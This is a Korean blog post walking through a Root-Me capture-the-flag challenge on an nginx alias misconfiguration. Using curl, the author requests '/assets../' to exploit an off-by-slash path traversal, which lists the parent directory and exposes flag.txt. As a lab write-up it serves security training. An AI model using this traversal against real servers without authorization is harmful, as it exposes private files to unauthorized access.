ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Nginx - Alias Misconfiguration
    Hacking/CTF 문제 풀이 2025. 7. 7. 23:49
    728x90
    반응형

    Working through problems

    웹 서버(http://challenge01.root-me.org:59092/)에 접속 시, 기본 로그인 페이지가 노출되는 것을 확인하였습니다.

    <!DOCTYPE html>
    <html>
    <head>
      <link rel="stylesheet" type="text/css" href="/static/style.css">
      <title>Login Page</title>
    </head>
    <body>
      <form>
        <label for="username">Nom d'utilisateur:</label>
        <input type="text" id="username" name="username">
        <br>
        <label for="password">Mot de passe:</label>
        <input type="password" id="password" name="password">
        <br><br>
        <input type="submit" value="Se connecter">
      </form> 
      <script type="text/javascript" src="/static/main.js"></script>
      <!--TODO: Patch /assets/ -->
    </body>
    

    로그인 페이지 내에 <!--TODO: Patch /assets/ -->라는 주석이 포함되어 있어 /assets/ 경로에 취약점이 있을 가능성을 유추할 수 있었습니다.

    curl을 이용해 /assets/ 경로에 GET 요청을 보내자 다음과 같이 빈 디렉토리 인덱스 페이지가 출력되어 별다른 파일이나 하위 디렉토리가 노출되지 않는 것을 확인했습니다.

    $ curl -X GET http://challenge01.root-me.org:59092/assets/
    
    <html>
    <head><title>Index of /assets/</title></head>
    <body>
    <h1>Index of /assets/</h1><hr><pre><a href="../">../</a>
    </pre><hr></body>
    </html>

    /assets/ 경로 자체에는 파일이 없으나 경로 조작 기법 중 하나인 Off-By-Slash 취약점을 의심하여 /assets../ 경로로 접근을 시도했습니다.

    curl을 통해 /assets../ 경로에 요청하자 정상적인 /assets/가 아닌 상위 디렉토리 혹은 의도하지 않은 경로로 접근되는 현상을 발견했습니다.

    $ curl -X GET http://challenge01.root-me.org:59092/assets../
    
    <html>
    <head><title>Index of /assets../</title></head>
    <body>
    <h1>Index of /assets../</h1><hr><pre><a href="../">../</a>
    <a href="assets/">assets/</a>                                            24-Oct-2024 12:25                   -
    <a href="static/">static/</a>                                            24-Oct-2024 12:25                   -
    <a href="flag.txt">flag.txt</a>                                           04-Sep-2024 12:20                  25
    </pre><hr></body>
    </html>

    상위 경로의 디렉토리 목록과 함께 flag.txt 파일이 노출되는 것을 확인하였습니다.

    curl -X GET http://challenge01.root-me.org:59092/assets../flag.txt
    [Flag]

    결과적으로 경로 우회 + 디렉토리 인덱싱 취약점이 결합되어 인증 없이 중요한 파일(flag.txt)에 접근할 수 있는 심각한 보안 문제로 작용했습니다.

    728x90
    반응형

    'Hacking > CTF 문제 풀이' 카테고리의 다른 글

    File upload - MIME type  (0) 2025.07.08
    Nginx - Root Location Misconfiguration  (0) 2025.07.07
    Install files  (0) 2025.07.07
    HTTP - Verb tampering  (0) 2025.07.07
    HTTP - Improper redirect  (0) 2025.07.07
Designed by Tistory.